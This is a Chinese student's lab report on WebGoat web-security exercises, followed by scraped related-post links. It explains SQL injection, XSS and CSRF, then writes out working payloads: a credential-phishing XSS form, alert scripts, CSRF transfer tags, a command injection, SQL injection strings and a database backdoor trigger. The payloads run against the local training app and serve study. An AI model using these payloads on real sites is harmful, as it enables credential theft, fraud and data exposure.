20155330 《网络对抗》 Exp9 web安全基础实践
20155330 《网络对抗》 Exp9 web安全基础实践
实验问题回答
- SQL注入攻击原理，如何防御
- 原理：SQL注入攻击值得是通过构建特殊的输入作为参数传入web应用程序，而这些输入大都是SQL语法里的一下组合，通过执行SQL语句进执行攻击者所要的操作，其主要原因是程序没有细致的过滤用户输入的数据，致使非法数据侵入系统。
- 防御方法：
- 采用sql语句预编译和绑定变量
- 采用字符串拼接的方式，严格检查参数的数据类型
- base64编码
- 控制用户的权限，以及做好数据库本身的安全工作
- XSS攻击的原理，如何防御
- 原理：XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。
- 防御方法：
- 输入检查：检查用户输入的数据中是否包含一些特殊字符，如<、>、'、"等，如果发现存在特殊字符，则将这些字符过滤或者编码。
- 搭建CDN，隐藏服务器真实IP
- 在表单提交或url参数传递前，对需要的参数进行过滤
- CSRF攻击原理，如何防御
- 原理：通过伪装来自受信任用户的请求来利用受信任的网站。依靠用户标识危害网站；利用网站对用户标识的信任；欺骗用户的浏览器发送HTTP请求给目标站点；还可以通过IMG标签会触发一个GET请求，可以利用它来实现CSRF攻击。
- 防御方法：
- 验证 HTTP Referer 字段
- 在请求地址中添加 token 并验证
- 在 HTTP 头中自定义属性并验证
- 对于用户修改删除等操作使用 post 操作
实验总结与体会
这次实验做的多是关于Web安全的练习，练习内容比较丰富，主要是SQL注入、CSRF攻击、XSS攻击三个部分的内容。通过学习实践对web开发常见的安全问题有了一定的了解。
实践过程记录
WebGoat
- 终端输入
java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。
- 直到出现下图所示内容：
- 在浏览器地址栏输入
localhost:8080/WebGoat打开WebGoat，选择默认账号、密码登陆。
XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
- 编写一个包含用户名、密码的前端代码：
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.！！！！！！ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
- 在webgoat找到
Cross-Site Scripting(XSS)，打开Phishing with XSS
- 将代码输入到框中，点击
search出现登录框：
- 输入用户名20155330，密码。
- 点击登录后跳出包含用户名和密码的弹框：
2、Stored XSS Attacks 存储型XSS攻击
- 打开
Stored XSS Attacks，在Message框中输入<script>alert("I am 20155330");</script>提交
- 点击提交后弹出显示
I am 20155330的对话框。攻击成功！
3、Reflected XSS Attacks 反射型XSS攻击
- 在code框中输入
<script>alert("I am 20155330");</script>
- 点击
Purchase出现显示I am 20155330的对话框。攻击成功！
CSRF攻击
4、Cross Site Request Forgery(CSRF)
- 查看
Parameters中的src和menu的值。
- 在Title中输入学号，Message中输入代码
<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
- 提交后生成链接。
- 点击链接查看用户操作的信息，攻击成功。
5、CSRF Prompt By-Pass
- 查看
Parameters中的src和menu的值。在Title中输入学号，Message中输入代码：
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
- 提交代码生成链接。
- 点击链接查看用户操作的信息，攻击成功。
SQL注入攻击
6、Command Injection
- 使用Firefox浏览器中的Firebug功能对源代码进行修改。在
BackDoors.help旁边加上"& netstat -an & ipconfig"：
- 在下拉菜单中能看到修改后的值
- 选中修改后的值再点view，可以看到命令被执行，出现系统网络连接情况
7、Numeric SQL Injection
- 选中Columbia，点Go，看到该城市的天气信息。
- 利用firebug，在任意一个值如
101旁边加上or 1=1：
- 选中Columbia，点Go，可以看到所有天气数据：
8、Log Spoofing
- 在
User Name文本框中输入zy%0d%0aLogin Succeeded for username: admin(%0d是回车，%0a是换行符)，点击登录，攻击成功。
9、String SQL Injection
- 在文本框中输入
' or 1='1。点Go，所有用户信息被显示，攻击成功。
10、LAB:SQL Injection(Stage 1:String SQL Injection)
- 以用户Neville登录，在密码栏中输入
' or 1='1进行SQL注入，注入前需对密码文本框的字符长度进行修改。
- 登录成功。
11、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
- 根据
Stage1中的登录方法以用户名Larry登录，登录之后看到浏览员工信息的按钮是ViewProfile。利用Firebug将ViewProfile的value值改为101 or 1=1 order by salary desc --。
- 查看到老板信息。
12、Database Backdoors
- 输入101得到用户信息。
- 输入注入语句：
101; update employee set salary=10000，把该用户的工资涨到10000：
- 使用语句
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155330@163.com' WHERE userid = NEW.userid创建一个后门，把表中所有的邮箱和用户ID都设为
13、Blind Numeric SQL Injection
- 输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );查看pin数值是否大于10000
- 经过不断尝试，慢慢缩小范围，最终可以确定pin的值在2300到2400之间。然后再尝试2300到2350或2350到2400，最后确定pin值为2364。
20155330 《网络对抗》 Exp9 web安全基础实践的更多相关文章
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155206《网络对抗》Web安全基础实践
20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20155305《网络对抗》Web安全基础实践
20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155307《网络对抗》Web安全基础实践
20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155311《网络对抗》Web安全基础实践
20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155338《网络对抗》Web安全基础实践
20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...
- 20145216史婧瑶《网络对抗》Web安全基础实践
20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...
随机推荐
- Mac下使用VScode进行C/C++开发
1.安装 从VScode官网下载Mac系统适用的VScode安装包,下载完成后,将zip安装包解压到桌面即可. 2.插件安装 实现 C/Cpp 代码自动补全,函数跳转. 打开VScode后,按下组合键 ...
- CSS 小结笔记之滑动门技术
所谓的滑动门技术,就是指盒子背景能够自动拉伸以适应不同长度的文本.即当文字增多时,背景看起来也会变长. 大多数应用于导航栏之中,如微信导航栏: 具体实现方法如下: 1.首先每一块文本内容是由a标签与s ...
- 【转】vs2010打开qt的.pro文件时错误解决办法
注意:qt creator工程中一般都已经存在*.pro文件,里面存放着一些自己配置的包含头文件和lib库文的信息,最好不要再重新使用qmake -project生成,若重新生成,则可能要重新增加配置 ...
- AOP编程报错Xlint:invalidAbsoluteTypeName
@Component@Aspectpublic class DingdingAspect { private Logger logger = LoggerFactory.getLogger(this. ...
- AWS CSAA -- 04 AWS Object Storage and CDN - S3 Glacier and CloudFront（三）
021 Storage Gateway 022 Snowball 023 Snowball - Lab 024 S3 Transfer Acceleration
- 【SPL标准库专题(10)】SPL Exceptions
嵌套异常 了解SPL异常之前,我们先了解一下嵌套异常.嵌套异常顾名思义就是异常里面再嵌套异常,一个异常抛出,在catch到以后再抛出异常,这时可以通过Exception基类的getPrevious方法 ...
- 测试笔试单选题（持续更新ing）
1.在GB/T17544中,软件包质量要求包括三部分,即产品描述要求._____.程 序和数据要求.( A ) A.用户文档要求 B.系统功能要求 C.设计要求说明 D.软件配置要求 2.软件的六大质 ...
- 将 SecondaryNameNode 配置到 s105 节点上
相关链接 Hadoop 完全分布式安装 0. 说明 SecondaryNameNode 的作用 参考[待补充] 在 Hadoop 完全分布式的基础之上配置 将 SecondaryNameNode ...
- CameraAPI中的 自定义照相功能
前几天的项目需要使用CameraAPI自己定义照相机,之前用过的二维码也要自己写底层代码,于是总结一下使用CameraAPI的几点事项.现在由于JDK7.0及其以上版本的官方文档已经不再推荐使用cam ...
- 自己动手制作一个本地的yum仓库
制作本地yum源有两种方式,第一种是使用光盘镜像,然后在本地进行安装.第二种是我们自己创建一个本地yum仓库,然后使用file的形式来向本地提供yum repo(也可以使用http的方式向外部提供,我 ...